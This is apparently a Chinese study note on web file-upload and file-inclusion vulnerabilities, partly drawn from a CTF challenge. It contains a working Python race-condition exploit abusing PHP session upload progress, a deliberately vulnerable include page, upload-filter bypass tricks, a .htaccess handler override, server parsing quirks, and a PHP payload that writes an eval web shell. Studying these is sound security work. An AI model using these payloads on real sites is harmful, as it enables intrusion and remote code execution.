0%

上传漏洞&文件包含总结

  • 时间:2019年8月5日16:00:28
  • 地点:福州大学

文件包含漏洞利用技巧

Apache日志文件包含

Apache会将所有请求写入日志文件中,所以如果在URl中写入一句话木马,再配合文件包含漏洞将可能直接getshell。

例如:提交一个get请求(使用burpsuite或者curl命令防止被url编码)

PHP_SESSION进度文件包含

PHP5.4会将上传的进度和时间储存在SESSION中在上传结束之后会清空SESSION,如果存在文件包含的漏洞可以采取条件竞争的形式使得包含文件成功,执行任意代码。

例如服务器存在一文件readme.txt是我们上传的小马文件,我们需要将其名字改成xiaoma.php,并且网站存在文件包含漏洞。

实验代码:

<?php
$b=$_GET['f'];
include "$b";
?>

利用脚本:

import requests
import threading

url='http://www.sql.com/test.php'
r=requests.session()
headers={
    "Cookie":'PHPSESSID=123'
}
def POST():
    while True:
        file={
            "upload":('','')  #上传无效的空文件
        }
        data={
            "PHP_SESSION_UPLOAD_PROGRESS":'<?php rename("readme.txt","xiaoma.php");?>'     #恶意进度信息,
        }
        r.post(url,files=file,headers=headers,data=data)

def READ():
    while True:
        event.wait()
        t=r.get("http://www.sql.com/test.php?f=../../tmp/tmp/sess_123")
        if 'flag' not in t.text:
            print('[+]retry')
        else:
            print(t.text)
            event.clear()
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()
threading.Thread(target=READ,args=()).start()

实验流程:

  • 上传小马图片得知小马相对地址

  • 构造脚本:在cookie中定义PHPSESSIONID(例如:PHPSESSIONID=123)

    • 将会在var/tmp/tmp(linux环境)生成一个叫sess_123的文件
    • 将会储存PHP_SESSION_UPLOAD_PROGRESS进度信息(例如:PHP_SESSION_UPLOAD_PROGRESS=
    • 使用文件包含漏洞包含该含义PHP恶意代码的文件将会执行修改文件的代码
    • 使用多线程同时竞争

sess_123文件内容

upload_progress_<?php rename("readme.txt","readme.php");?>|a:5:{s:10:"start_time";i:1564991083;s:14:"content_length";i:288;s:15:"bytes_processed";i:288;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:6:"upload";s:4:"name";s:0:"";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1564991083;s:15:"bytes_processed";i:0;}}}

实验效果:

修改后变成xiaoma.php(当然可以还可以利用代码生成写入一句话木马)

(该方法利用出现在强网杯JustSoSo题目中的非预期解)

文件上传漏洞

前端验证

前端验证,直接使用burp抓包修改名字。或者浏览器禁用js

MIME验证

上传可执行脚本,修改Content-Type

黑名单验证

  • 大小写绕过:Php、PhP、pHp等可Fuzz测试得到黑名单

  • 空格截断:在后缀后面使用一个空格截断检测

  • 重写绕过:主要用于将php这个关键字进行替换为空的例如如下代码

<?php
$type=str_replace('php','',$a);
?>

可以使用重写直接绕过该替换例如修改为:1.pphphp ,将可以直接绕过过滤

  • 特殊后缀名绕过:ASP语言类:.asa .cer .cdx

                              PHP语言类:    .php3    .php4    .php5
                                   .net语言类:.ashx
  • 文件头检测绕过:使用图片马或者给小马加个图片头

  • 分布式配置文件绕过:能够上传或者修改.htacess文件,是服务器在该文件夹解析jpg文件。

  • 分布式配置文件上传漏洞的实例

  1. 建立.htaccess文件,内容如下:

    <FilesMatch "jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>

    并将其上传至服务器中

并将其上传至服务器中

  1. 上传php木马文件名包含jpg即可造成解析
  • 上传文件类型00截断

burpsuite上传抓包,16进制下修改文件名与后缀之间的一个字符的16进制改成00;

例如:

文件解析漏洞

  • Apache2.2.11解析漏洞

例如:cimer.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把cimer.php.owf.rar解析成php

  • IIS6.0解析漏洞

1.目录解析漏洞

在网站下建立文件夹的名字为 .asp /.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行

例如: /cimer.asp/1.jpg 将会被按照正常的asp文件进行解析
2.文件解析漏洞

在IIS6.0下,分号后面的不被解析,如 cimer.asp;.jpg会被当做cimer.asp
还有iis6.0默认的可执行文件除了asp还包含.asa、.cer、.cdx

Nginx解析漏洞
在默认Fast-CGI开启状况下,攻击者上传一个名字为cimer.jpg,内容为

<?php fputs(fopen(‘shell.php’,’w’),’<?php eval($_POST[cmd])?>’);?>

然后访问cimer.jpg/.php,在这个目录下就会生成一句话木马shell.php